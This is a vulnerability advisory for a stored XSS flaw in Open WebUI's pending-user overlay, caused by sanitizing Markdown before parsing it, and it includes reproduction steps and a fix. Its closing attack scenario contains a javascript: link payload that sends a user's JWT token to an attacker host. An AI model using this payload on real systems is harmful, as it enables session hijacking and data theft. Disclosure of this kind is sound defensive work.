CVE-2026-44568: open-webui: XSS in pending overlay enables session hijack

## Vulnerability Details **CWE-79**: Cross-site Scripting (XSS) The `AccountPending.svelte` component renders the admin-configured "Pending User Overlay Content" using `marked.parse()` inside `{@html}` with an incorrect DOMPurify application order: ### Vulnerable Code **`src/lib/components/layout/Overlay/AccountPending.svelte` (lines 43-48)**: ```svelte {@html marked.parse( DOMPurify.sanitize( ($config?.ui?.pending_user_overlay_content ?? '').replace(/\n/g, '<br>') ) )} ``` DOMPurify is applied to the raw Markdown input **before** `marked.parse()` processes it. This is the wrong order. DOMPurify sanitizes the Markdown text (which contains no HTML tags), then `marked.parse()` converts Markdown link syntax into HTML `<a>` tags with `javascript:` href, and the result is rendered with `{@html}` unsanitized. The correct pattern (used elsewhere in the codebase, e.g., `NotebookView.svelte:77`) is: ```javascript DOMPurify.sanitize(marked.parse(src)) // sanitize AFTER markdown parsing ``` ## Steps to Reproduce ### Prerequisites - Open WebUI v0.8.10 - Admin account - A second user account with "pending" role ### Steps 1. Log in as admin and navigate to **Admin Settings** → **Settings** → **General**. 2. Set **Default User Role** to `pending`. 3. In the **Pending User Overlay Content** field, enter: ``` # Account Pending Your account is under review. [Contact Support](javascript:alert(document.domain)) ``` 4. Save the settings. 5. In a separate browser (or incognito window), create a new account or log in as a pending user. 6. The pending overlay is displayed. Click the "Contact Support" link. 7. A JavaScript alert dialog appears showing `localhost` (the document domain), confirming XSS execution. ### Verified Output The `alert(document.domain)` executes successfully, displaying "localhost" in a JavaScript dialog box. ## Impact An admin can inject arbitrary JavaScript into the Pending User Overlay Content that executes in the browser context of any pending user who views the overlay page. This could be used to: - **Session hijacking**: Steal pending users' JWT tokens from cookies/localStorage - **Credential theft**: Replace the pending overlay with a fake login form - **Phishing**: Redirect pending users to malicious sites While this requires admin privileges to set the overlay content, it enables an admin to attack pending users (who have not yet been granted full access). In multi-admin deployments, a compromised admin account could use this to escalate attacks. ## Proposed Fix Apply DOMPurify **after** `marked.parse()`, not before: ```svelte <!-- Before (vulnerable): --> {@html marked.parse( DOMPurify.sanitize( ($config?.ui?.pending_user_overlay_content ?? '').replace(/\n/g, '<br>') ) )} <!-- After (fixed): --> {@html DOMPurify.sanitize( marked.parse( ($config?.ui?.pending_user_overlay_content ?? '').replace(/\n/g, '<br>'), { async: false } ) )} ``` <img width="1510" height="1093" alt="2026-03-23_03-07" src="https://github.com/user-attachments/assets/bcc94dd6-4f06-472b-9979-9759458c76b3" />

An attacker who has compromised an admin account in an organization running Open WebUI for internal LLM access navigates to Admin Settings > General and pastes a Markdown snippet — e.g., [Contact IT Help Desk](javascript:fetch('https://attacker.io/c?t='+localStorage.getItem('token'))) — into the Pending User Overlay Content field. Over the following days, every new employee whose account is held in pending status views the overlay, clicks the legitimate-looking help desk link, and unknowingly exfiltrates their JWT token to the attacker's server. The attacker replays those tokens to query the company's internal LLM deployment as legitimate users, extracting proprietary system prompts, RAG-indexed documents, and conversation history — all without triggering any server-side authentication alerts.